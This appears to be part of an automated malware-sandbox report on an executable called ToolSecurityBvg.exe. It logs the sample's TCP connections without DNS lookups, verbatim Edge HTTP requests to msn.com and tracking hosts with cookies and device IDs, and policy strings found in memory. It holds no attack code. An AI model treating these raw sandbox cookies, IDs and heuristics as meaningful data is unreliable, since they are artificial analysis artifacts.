Source: unknownTCP traffic detected without corresponding DNS query: 23.40.18.31
Source: unknownTCP traffic detected without corresponding DNS query: 23.40.18.31
Source: unknownTCP traffic detected without corresponding DNS query: 20.42.73.28
Source: unknownTCP traffic detected without corresponding DNS query: 20.42.73.28
Source: unknownTCP traffic detected without corresponding DNS query: 20.42.73.28
Source: unknownTCP traffic detected without corresponding DNS query: 18.164.96.18
Source: unknownTCP traffic detected without corresponding DNS query: 18.164.96.18
Source: unknownTCP traffic detected without corresponding DNS query: 18.164.96.18
Source: unknownTCP traffic detected without corresponding DNS query: 20.125.209.212
Source: unknownTCP traffic detected without corresponding DNS query: 20.125.209.212
Source: unknownTCP traffic detected without corresponding DNS query: 20.125.209.212
Source: unknownTCP traffic detected without corresponding DNS query: 20.42.73.28
Source: unknownTCP traffic detected without corresponding DNS query: 20.42.73.28
Source: unknownTCP traffic detected without corresponding DNS query: 20.42.73.28
Source: unknownTCP traffic detected without corresponding DNS query: 20.42.73.28
Source: unknownTCP traffic detected without corresponding DNS query: 20.42.73.28
Source: unknownTCP traffic detected without corresponding DNS query: 20.42.73.28
Source: unknownTCP traffic detected without corresponding DNS query: 20.42.73.28
Source: unknownTCP traffic detected without corresponding DNS query: 18.164.96.18
Source: unknownTCP traffic detected without corresponding DNS query: 18.164.96.18
Source: unknownTCP traffic detected without corresponding DNS query: 18.164.96.18
Source: unknownTCP traffic detected without corresponding DNS query: 18.164.96.18
Source: unknownTCP traffic detected without corresponding DNS query: 18.164.96.18
Source: unknownTCP traffic detected without corresponding DNS query: 20.125.209.212
Source: unknownTCP traffic detected without corresponding DNS query: 20.125.209.212
Source: unknownTCP traffic detected without corresponding DNS query: 20.125.209.212
Source: unknownTCP traffic detected without corresponding DNS query: 20.125.209.212
Source: unknownTCP traffic detected without corresponding DNS query: 20.125.209.212
Source: unknownTCP traffic detected without corresponding DNS query: 20.125.209.212
Source: unknownTCP traffic detected without corresponding DNS query: 23.43.85.38
Source: unknownTCP traffic detected without corresponding DNS query: 23.43.85.38
Source: unknownTCP traffic detected without corresponding DNS query: 23.43.85.38
Source: unknownTCP traffic detected without corresponding DNS query: 23.43.85.38
Source: unknownTCP traffic detected without corresponding DNS query: 204.79.197.219
Source: unknownTCP traffic detected without corresponding DNS query: 204.79.197.219
Source: unknownTCP traffic detected without corresponding DNS query: 23.43.85.38
Source: unknownTCP traffic detected without corresponding DNS query: 23.43.85.38
Source: unknownTCP traffic detected without corresponding DNS query: 204.79.197.219
Source: global trafficHTTP traffic detected: GET /edge/ntp?locale=en-GB&title=New%20tab&dsp=1&sp=Bing&isFREModalBackground=1&startpage=1&PC=U531 HTTP/1.1Host: ntp.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"sec-ch-ua-platform-version: "10.0.0"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7sec-edge-ntp: {"back_block":0,"bg_cur":{},"bg_img_typ":"bing","exp":["msQuickLinksDefaultOneRow","msShoppingWebAssistOnNtp","msShoppingHistogramsOnNtp","msEnableWinHPNewTabBackButtonFocusAndClose","msCustomMaxQuickLinks","msMaxQuickLinksAt20","msAllowThemeInstallationFromChromeStore","msEdgeSplitWindowLinkMode"],"feed":0,"feed_dis":"onscroll","layout":1,"quick_links_opt":1,"sel_feed_piv":"","show_greet":true,"vt_opened":false}Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global trafficHTTP traffic detected: GET /bundles/v1/edgeChromium/latest/SSR-extension.af337c502c230a9902a8.js HTTP/1.1Host: ntp.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://ntp.msn.comsec-ch-viewport-height: 876sec-ch-ua-arch: "x86"sec-ch-viewport-width: 1232sec-ch-ua-platform-version: "10.0.0"downlink: 1.45sec-ch-ua-full-version-list: "Microsoft Edge";v="117.0.2045.47", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.132"sec-ch-ua-bitness: "64"sec-ch-ua-model: ""sec-ch-prefers-color-scheme: lightsec-ch-ua-platform: "Windows"device-memory: 8rtt: 250sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-full-version: "117.0.2045.47"sec-ch-dpr: 1ect: 4gAccept: */*sec-edge-ntp: {"back_block":0,"bg_cur":{},"bg_img_typ":"bing","exp":["msQuickLinksDefaultOneRow","msShoppingWebAssistOnNtp","msShoppingHistogramsOnNtp","msEnableWinHPNewTabBackButtonFocusAndClose","msCustomMaxQuickLinks","msMaxQuickLinksAt20","msAllowThemeInstallationFromChromeStore","msEdgeSplitWindowLinkMode"],"feed":0,"feed_dis":"onscroll","layout":1,"quick_links_opt":1,"sel_feed_piv":"","show_greet":true,"vt_opened":false}Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://ntp.msn.com/edge/ntp?locale=en-GB&title=New%20tab&dsp=1&sp=Bing&isFREModalBackground=1&startpage=1&PC=U531Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: _C_ETH=1; sptmarket=en-GB||us|en-us|en-us|en||cf=8|RefA=A19A8D317B4248C4B16E2584084396AC.RefC=2025-03-02T22:48:05Z; USRLOC=; MUID=298FBC8F51F06FBE167AA92C50F76ED8; MUIDB=298FBC8F51F06FBE167AA92C50F76ED8; _EDGE_S=F=1&SID=21B0684A799B606837FF7DE978076172; _EDGE_V=1
Source: global trafficHTTP traffic detected: GET /bundles/v1/edgeChromium/latest/web-worker.96ac23719317b1928681.js HTTP/1.1Host: ntp.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-viewport-height: 876sec-ch-ua-arch: "x86"sec-ch-viewport-width: 1232sec-ch-ua-platform-version: "10.0.0"downlink: 1.45sec-ch-ua-bitness: "64"sec-ch-ua-full-version-list: "Microsoft Edge";v="117.0.2045.47", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.132"sec-ch-ua-model: ""sec-ch-prefers-color-scheme: lightsec-ch-ua-platform: "Windows"device-memory: 8rtt: 250sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-full-version: "117.0.2045.47"sec-ch-dpr: 1ect: 4gAccept: */*sec-edge-ntp: {"back_block":0,"bg_cur":{},"bg_img_typ":"bing","exp":["msQuickLinksDefaultOneRow","msShoppingWebAssistOnNtp","msShoppingHistogramsOnNtp","msEnableWinHPNewTabBackButtonFocusAndClose","msCustomMaxQuickLinks","msMaxQuickLinksAt20","msAllowThemeInstallationFromChromeStore","msEdgeSplitWindowLinkMode"],"feed":0,"feed_dis":"onscroll","layout":1,"quick_links_opt":1,"sel_feed_piv":"","show_greet":true,"vt_opened":false}Sec-Fetch-Site: same-originSec-Fetch-Mode: same-originSec-Fetch-Dest: workerReferer: https://ntp.msn.com/edge/ntp?locale=en-GB&title=New%20tab&dsp=1&sp=Bing&isFREModalBackground=1&startpage=1&PC=U531Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: _C_ETH=1; sptmarket=en-GB||us|en-us|en-us|en||cf=8|RefA=A19A8D317B4248C4B16E2584084396AC.RefC=2025-03-02T22:48:05Z; USRLOC=; MUID=298FBC8F51F06FBE167AA92C50F76ED8; MUIDB=298FBC8F51F06FBE167AA92C50F76ED8; _EDGE_S=F=1&SID=21B0684A799B606837FF7DE978076172; _EDGE_V=1
Source: global trafficHTTP traffic detected: GET /crx/blobs/ASuc5ohcoRYyASTWkAI21BvR0f-Aos7pzgW3GtD8ImYoX-O9Pl77join3GT-5wpD1vT_nG6xpJ0eds7JOZacv0OYNfBAee3mKSnMDx3-YDnz3J7UxfHM_wfhsyHz9Z8rajAAxlKa5T9frrLlN0KHGfJRu7Y7NseNtZ_M/GHBMNNJOOEKPMOECNNNILNNBDLOLHKHI_1_89_1_0.crx HTTP/1.1Host: clients2.googleusercontent.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global trafficHTTP traffic detected: GET /bundles/v1/edgeChromium/latest/vendors.bd02dd0f5f9b69ef8b17.js HTTP/1.1Host: assets.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://ntp.msn.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: */*Sec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global trafficHTTP traffic detected: GET /bundles/v1/edgeChromium/latest/microsoft.4fa8815283fe3d88a934.js HTTP/1.1Host: assets.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://ntp.msn.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: */*Sec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global trafficHTTP traffic detected: GET /bundles/v1/edgeChromium/latest/common.bb241b5cf88a9a76514e.js HTTP/1.1Host: assets.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://ntp.msn.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: */*Sec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global trafficHTTP traffic detected: GET /bundles/v1/edgeChromium/latest/experience.e283502f48dd51b29357.js HTTP/1.1Host: assets.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://ntp.msn.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: */*Sec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global trafficHTTP traffic detected: GET /statics/icons/favicon_newtabpage.png HTTP/1.1Host: assets.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: _C_ETH=1; USRLOC=; MUID=298FBC8F51F06FBE167AA92C50F76ED8; _EDGE_S=F=1&SID=21B0684A799B606837FF7DE978076172; _EDGE_V=1
Source: global trafficHTTP traffic detected: GET /c.gif?rnd=1740955690652&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=a19a8d317b4248c4b16e2584084396ac&activityId=a19a8d317b4248c4b16e2584084396ac&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0 HTTP/1.1Host: c.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: _C_ETH=1; USRLOC=; MUID=298FBC8F51F06FBE167AA92C50F76ED8; _EDGE_S=F=1&SID=21B0684A799B606837FF7DE978076172; _EDGE_V=1
Source: global trafficHTTP traffic detected: GET /b?rn=1740955690653&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=298FBC8F51F06FBE167AA92C50F76ED8&cs_fpit=o&cs_fpdm=*null&cs_fpdt=*null HTTP/1.1Host: sb.scorecardresearch.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global trafficHTTP traffic detected: GET /b2?rn=1740955690653&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=298FBC8F51F06FBE167AA92C50F76ED8&cs_fpit=o&cs_fpdm=*null&cs_fpdt=*null HTTP/1.1Host: sb.scorecardresearch.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: UID=13A0de3d3c681f620c39cb71740955691; XID=13A0de3d3c681f620c39cb71740955691
Source: global trafficHTTP traffic detected: GET /c.gif?rnd=1740955690652&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=a19a8d317b4248c4b16e2584084396ac&activityId=a19a8d317b4248c4b16e2584084396ac&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0&ctsa=mr&CtsSyncId=611DD03D5F3C49C1893DDDD82FCD126C&MUID=298FBC8F51F06FBE167AA92C50F76ED8 HTTP/1.1Host: c.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: USRLOC=; MUID=298FBC8F51F06FBE167AA92C50F76ED8; _EDGE_S=F=1&SID=21B0684A799B606837FF7DE978076172; _EDGE_V=1; SM=T
Source: global trafficHTTP traffic detected: GET /edge/ntp?locale=en-GB&title=New+tab&enableForceCache=true HTTP/1.1Host: ntp.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-viewport-height: 876sec-ch-ua-arch: "x86"sec-ch-viewport-width: 1232sec-ch-ua-platform-version: "10.0.0"downlink: 5.15sec-ch-ua-bitness: "64"sec-ch-ua-full-version-list: "Microsoft Edge";v="117.0.2045.47", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.132"sec-ch-ua-model: ""sec-ch-prefers-color-scheme: lightsec-ch-ua-platform: "Windows"device-memory: 8rtt: 200sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-full-version: "117.0.2045.47"sec-ch-dpr: 1ect: 4gAccept: */*sec-edge-ntp: {"back_block":0,"bg_cur":{},"bg_img_typ":"bing","exp":["msQuickLinksDefaultOneRow","msShoppingWebAssistOnNtp","msShoppingHistogramsOnNtp","msEnableWinHPNewTabBackButtonFocusAndClose","msCustomMaxQuickLinks","msMaxQuickLinksAt20","msAllowThemeInstallationFromChromeStore","msEdgeSplitWindowLinkMode"],"feed":0,"feed_dis":"onscroll","layout":1,"quick_links_opt":1,"sel_feed_piv":"","show_greet":true,"vt_opened":false}Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/edge/ntp?locale=en-GB&title=New%20tab&dsp=1&sp=Bing&isFREModalBackground=1&startpage=1&PC=U531Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: _C_Auth=; pglt-edgeChromium-dhp=547; sptmarket=en-GB||us|en-us|en-us|en||cf=8|RefA=A19A8D317B4248C4B16E2584084396AC.RefC=2025-03-02T22:48:05Z; USRLOC=; MUID=298FBC8F51F06FBE167AA92C50F76ED8; MUIDB=298FBC8F51F06FBE167AA92C50F76ED8; _EDGE_S=F=1&SID=21B0684A799B606837FF7DE978076172; _EDGE_V=1; MicrosoftApplicationsTelemetryDeviceId=71fba686-5272-46c5-b7ec-6bcacf7f2430; ai_session=QKM5mGJj1JVi+oVE8P956y|1740955690646|1740955690646; sptmarket_restored=en-GB||us|en-us|en-us|en||cf=8|RefA=A19A8D317B4248C4B16E2584084396AC.RefC=2025-03-02T22:48:05Z
Source: global trafficHTTP traffic detected: GET /edge/ntp/service-worker.js?bundles=latest&riverAgeMinutes=2880&navAgeMinutes=2880&networkTimeoutSeconds=5&bgTaskNetworkTimeoutSeconds=8&ssrBasePageNavAgeMinutes=360&enableEmptySectionRoute=true&enableNavPreload=true&enableFallbackVerticalsFeed=true&noCacheLayoutTemplates=true&cacheSSRBasePageResponse=true&enableStaticAdsRouting=true&enableWidgetsRegion=true HTTP/1.1Host: ntp.msn.comConnection: keep-aliveCache-Control: max-age=0Accept: */*Service-Worker: scriptUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-edge-ntp: {"back_block":0,"bg_cur":{"configIndex":42,"imageId":"BB1msMIu","provider":"CMSImage","userSelected":false},"bg_img_typ":"bing","exp":["msQuickLinksDefaultOneRow","msShoppingWebAssistOnNtp","msShoppingHistogramsOnNtp","msEnableWinHPNewTabBackButtonFocusAndClose","msCustomMaxQuickLinks","msMaxQuickLinksAt20","msAllowThemeInstallationFromChromeStore","msEdgeSplitWindowLinkMode"],"feed":0,"feed_dis":"onscroll","layout":1,"quick_links_opt":1,"sel_feed_piv":"myFeed","show_greet":true,"vt_opened":false,"wpo_nx":{"v":"2","wgt":{"src":"default"}}}Sec-Fetch-Site: same-originSec-Fetch-Mode: same-originSec-Fetch-Dest: serviceworkerReferer: https://ntp.msn.com/edge/ntp?locale=en-GB&title=New%20tab&dsp=1&sp=Bing&isFREModalBackground=1&startpage=1&PC=U531Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: _C_Auth=; pglt-edgeChromium-dhp=547; sptmarket=en-GB||us|en-us|en-us|en||cf=8|RefA=A19A8D317B4248C4B16E2584084396AC.RefC=2025-03-02T22:48:05Z; USRLOC=; MUID=298FBC8F51F06FBE167AA92C50F76ED8; MUIDB=298FBC8F51F06FBE167AA92C50F76ED8; _EDGE_S=F=1&SID=21B0684A799B606837FF7DE978076172; _EDGE_V=1; MicrosoftApplicationsTelemetryDeviceId=71fba686-5272-46c5-b7ec-6bcacf7f2430; ai_session=QKM5mGJj1JVi+oVE8P956y|1740955690646|1740955690646; sptmarket_restored=en-GB||us|en-us|en-us|en||cf=8|RefA=A19A8D317B4248C4B16E2584084396AC.RefC=2025-03-02T22:48:05Z
Source: ToolSecurityBvg.exe, 0000000A.00000003.2751593457.0000000002EC6000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: ;style-src 'self' 'unsafe-inline' c.s-microsoft.com/mscc/ assets.msn.com assets2.msn.com assets.msn.cn assets2.msn.cn;trusted-types serviceWorkerUrlPolicy baw-trustedtypes-policy svgPassThroughPolicy xmlPassThroughPolicy webpackTrustedTypesPolicy webWorkerUrlPolicy inlineHeadCssPassthroughPolicy bundleUrlPolicy fallbackBundleUrlPolicy scriptSrcUrlPolicy commonAsScriptPolicy dompurify fast-html base-html-policy ot-trusted-type-policy default 'allow-duplicates' IasUrlPolicy DvUrlPolicy;worker-src 'self' blob: 'report-sample';script-src 'nonce-HSL/3KquryvQOfnjyudDtYETzFDj+OSdC8glVMk547Y=' 'strict-dynamic',script-src 'nonce-HSL/3KquryvQOfnjyudDtYETzFDj+OSdC8glVMk547Y=' 'self' 'report-sample' assets.msn.cn assets2.msn.cn assets.msn.com assets2.msn.com www.msn.com www.msn.cn c.s-microsoft.com/mscc/ geolocation.onetrust.com/cookieconsentpub/v1/geo/location https://www.clarity.ms platform.bing.com/geo/AutoSuggest/v1 www.bing.com/as/ www.bing.com/s/as/ www.youtube.com js.monitor.azure.com business.bing.com/msb/;worker-src * blob: equals www.youtube.com (Youtube)
Source: ToolSecurityBvg.exe, 0000000A.00000003.2782919006.0000000002ED1000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: C8glVMk547Y=' 'self' 'report-sample' assets.msn.cn assets2.msn.cn assets.msn.com assets2.msn.com www.msn.com www.msn.cn c.s-microsoft.com/mscc/ geolocation.onetrust.com/cookieconsentpub/v1/geo/location https://www.clarity.ms platform.bing.com/geo/AutoSuggest/v1 www.bing.com/as/ www.bing.com/s/as/ www.youtube.com js.monitor.azure.com business.bing.com/msb/ equals www.youtube.com (Youtube)
Source: ToolSecurityBvg.exe, 0000000A.00000003.2782919006.0000000002ED1000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: C8glVMk547Y=' 'self' 'report-sample' assets.msn.cn assets2.msn.cn assets.msn.com assets2.msn.com www.msn.com www.msn.cn c.s-microsoft.com/mscc/ geolocation.onetrust.com/cookieconsentpub/v1/geo/location https://www.clarity.ms platform.bing.com/geo/AutoSuggest/v1 www.bing.com/as/ www.bing.com/s/as/ www.youtube.com js.monitor.azure.com business.bing.com/msb/g.com/msb/;worker-src * blob:}< equals www.youtube.com (Youtube)
Source: ToolSecurityBvg.exe, 0000000A.00000003.2851642447.000000000806B000.00000004.00000001.00020000.00000000.sdmp, ToolSecurityBvg.exe, 0000000A.00000003.2824175276.000000000806B000.00000004.00000001.00020000.00000000.sdmp, ToolSecurityBvg.exe, 0000000A.00000003.2813594876.000000000806B000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: ntpassport https://api.msn.cn/auth/cookie/silentpassport https://www.msn.com https://www.msn.cn https://www.microsoftstart.com login.live.com login.microsoftonline.com www.bing.com/covid www.bing.com/rewardsapp/flyout www.bing.com/shop www.bing.com/shop/halloween www.bing.com/videos/search www.facebook.com www.odwebp.svc.ms www.youtube.com msn.pluto.tv www.bing.com/wpt/prefetchcib https://res.cdn.office.net/ business.bing.com sip: mailto: edge-auth.microsoft.com equals www.facebook.com (Facebook)
Source: ToolSecurityBvg.exe, 0000000A.00000003.2851642447.000000000806B000.00000004.00000001.00020000.00000000.sdmp, ToolSecurityBvg.exe, 0000000A.00000003.2824175276.000000000806B000.00000004.00000001.00020000.00000000.sdmp, ToolSecurityBvg.exe, 0000000A.00000003.2813594876.000000000806B000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: ntpassport https://api.msn.cn/auth/cookie/silentpassport https://www.msn.com https://www.msn.cn https://www.microsoftstart.com login.live.com login.microsoftonline.com www.bing.com/covid www.bing.com/rewardsapp/flyout www.bing.com/shop www.bing.com/shop/halloween www.bing.com/videos/search www.facebook.com www.odwebp.svc.ms www.youtube.com msn.pluto.tv www.bing.com/wpt/prefetchcib https://res.cdn.office.net/ business.bing.com sip: mailto: edge-auth.microsoft.com equals www.youtube.com (Youtube)
Source: ToolSecurityBvg.exe, 0000000A.00000003.2851642447.000000000806B000.00000004.00000001.00020000.00000000.sdmp, ToolSecurityBvg.exe, 0000000A.00000003.2824175276.000000000806B000.00000004.00000001.00020000.00000000.sdmp, ToolSecurityBvg.exe, 0000000A.00000003.2813594876.000000000806B000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: ntpassport https://api.msn.cn/auth/cookie/silentpassport https://www.msn.com https://www.msn.cn https://www.microsoftstart.com login.live.com login.microsoftonline.com www.bing.com/covid www.bing.com/rewardsapp/flyout www.bing.com/shop www.bing.com/shop/halloween www.bing.com/videos/search www.facebook.com www.odwebp.svc.ms www.youtube.com msn.pluto.tv www.bing.com/wpt/prefetchcib https://res.cdn.office.net/ business.bing.com sip: mailto: edge-auth.microsoft.comh`https://* blob: chrome-search://ntpicon/ chrome-search://local-ntp/ chrome-search://theme/ data:8 equals www.facebook.com (Facebook)
Source: ToolSecurityBvg.exe, 0000000A.00000003.2851642447.000000000806B000.00000004.00000001.00020000.00000000.sdmp, ToolSecurityBvg.exe, 0000000A.00000003.2824175276.000000000806B000.00000004.00000001.00020000.00000000.sdmp, ToolSecurityBvg.exe, 0000000A.00000003.2813594876.000000000806B000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: ntpassport https://api.msn.cn/auth/cookie/silentpassport https://www.msn.com https://www.msn.cn https://www.microsoftstart.com login.live.com login.microsoftonline.com www.bing.com/covid www.bing.com/rewardsapp/flyout www.bing.com/shop www.bing.com/shop/halloween www.bing.com/videos/search www.facebook.com www.odwebp.svc.ms www.youtube.com msn.pluto.tv www.bing.com/wpt/prefetchcib https://res.cdn.office.net/ business.bing.com sip: mailto: edge-auth.microsoft.comh`https://* blob: 